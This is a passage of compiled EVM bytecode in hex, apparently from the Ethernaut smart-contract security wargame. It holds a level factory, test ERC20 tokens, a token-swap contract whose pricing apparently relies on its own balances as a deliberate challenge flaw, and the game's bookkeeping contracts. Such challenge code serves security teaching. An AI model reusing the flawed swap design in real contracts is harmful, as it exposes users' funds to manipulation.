f8351620023bc81600585016020880162001e31565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620023fb81600a84016020880162001e31565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200244481846020880162001e31565b8351908301906200245a81836020880162001e31565b01949350505050565b602081525f62001b49602083018462001e55565b600181811c908216806200248c57607f821691505b602082108103620024ab57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620024c2575f80fd5b815162001b498162001c68565b5f60208284031215620024e0575f80fd5b5051919050565b8082018082111562001792576200179262002307565b604081525f62002511604083018562001e55565b828103602084015262002525818562001e55565b95945050505050565b5f602082840312156200253f575f80fd5b815167ffffffffffffffff81111562002556575f80fd5b6200237b848285016200215856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6122888061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200092c565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec36600462000951565b620005e6565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200092c565b6200079f565b6200013162000839565b6200013c5f62000894565b565b5f806040516200014e90620008fb565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098d565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098d565b5060405163264e889360e01b81526001600160a01b0383811660048301526064602483015287169063264e8893906044015f604051808303815f87803b1580156200047c575f80fd5b505af11580156200048f573d5f803e3d5ffd5b505060405163264e889360e01b81526001600160a01b038481166004830152606460248301528916925063264e889391506044015f604051808303815f87803b158015620004db575f80fd5b505af1158015620004ee573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056591906200098d565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d991906200098d565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000625573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200064b9190620009ae565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200068b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006b19190620009ae565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006fa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007209190620009cc565b1580156200079657506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007949190620009cc565b155b95945050505050565b620007a962000839565b6001600160a01b0381166200082b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008368162000894565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000822565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a3b80620009e583390190565b610e33806200142083390190565b6001600160a01b038116811462000836575f80fd5b5f602082840312156200093d575f80fd5b81356200094a8162000917565b9392505050565b5f806040838503121562000963575f80fd5b8235620009708162000917565b91506020830135620009828162000917565b809150509250929050565b5f602082840312156200099e575f80fd5b815180151581146200094a575f80fd5b5f60208284031215620009bf575f80fd5b81516200094a8162000917565b5f60208284031215620009dd575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6109c18061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80638da5cb5b1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b80638da5cb5b14610149578063cbc7854e14610159578063d21220a71461016c575f80fd5b8063264e8893116100ad578063264e88931461010d578063635bc0c214610120578063715018a614610141575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610861565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610861565b61028a565b61013361012e366004610889565b61030b565b604051908152602001610104565b6100db6103f5565b5f546001600160a01b03166100f0565b6100db6101673660046108c2565b610408565b6001546100f0906001600160a01b031681565b6100db61018d366004610889565b61044b565b6100db6101a03660046108f3565b61068d565b6101336101b33660046108c2565b61071d565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610791565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610306919061090c565b505050565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103739190610932565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d99190610932565b6103e39084610949565b6103ed919061096c565b949350505050565b6103fd610791565b6104065f6107ea565b565b610410610791565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610932565b10156105065760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064015b60405180910390fd5b5f61051284848461030b565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af1158015610565573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610589919061090c565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af11580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610611919061090c565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610662573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610686919061090c565b5050505050565b610695610791565b6001600160a01b0381166107115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104fd565b61071a816107ea565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107889190610932565b90505b92915050565b5f546001600160a01b031633146104065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104fd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461085c575f80fd5b919050565b5f8060408385031215610872575f80fd5b61087b83610846565b946020939093013593505050565b5f805f6060848603121561089b575f80fd5b6108a484610846565b92506108b260208501610846565b9150604084013590509250925092565b5f80604083850312156108d3575f80fd5b6108dc83610846565b91506108ea60208401610846565b90509250929050565b5f60208284031215610903575f80fd5b61078882610846565b5f6020828403121561091c575f80fd5b8151801515811461092b575f80fd5b9392505050565b5f60208284031215610942575f80fd5b5051919050565b808202811582820484141761078b57634e487b7160e01b5f52601160045260245ffd5b5f8261098657634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b06b3477cf4b0a293b58d8e5e0116b11e52ae38e1b535652e333e7bfd7f27fd964736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220e1b9d8da486aa913e7ce0b8d958615852ff8292906a6341e09d07cfbc6ded95864736f6c63430008180033a2646970667358221220d0d3202e46ffc4e18a7125e8519dfc5ab16446a6f176aa37a4e26bc1c54a748764736f6c63430008180033608060405234801561000f575f80fd5b506101298061001d5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c806323b872dd14603457806370a0823114605d575b5f80fd5b6048603f36600460a2565b60019392505050565b60405190151581526020015b60405180910390f35b606e606836600460d6565b50600190565b6040519081526020016054565b803573ffffffffffffffffffffffffffffffffffffffff81168114609d575f80fd5b919050565b5f805f6060848603121560b3575f80fd5b60ba84607b565b925060c660208501607b565b9150604084013590509250925092565b5f6020828403121560e5575f80fd5b60ec82607b565b939250505056fea26469706673582212205c66b68cdfe9a70fa4b6cb503e8a38d2b77a446eef23eeecc738467e2f16510964736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d9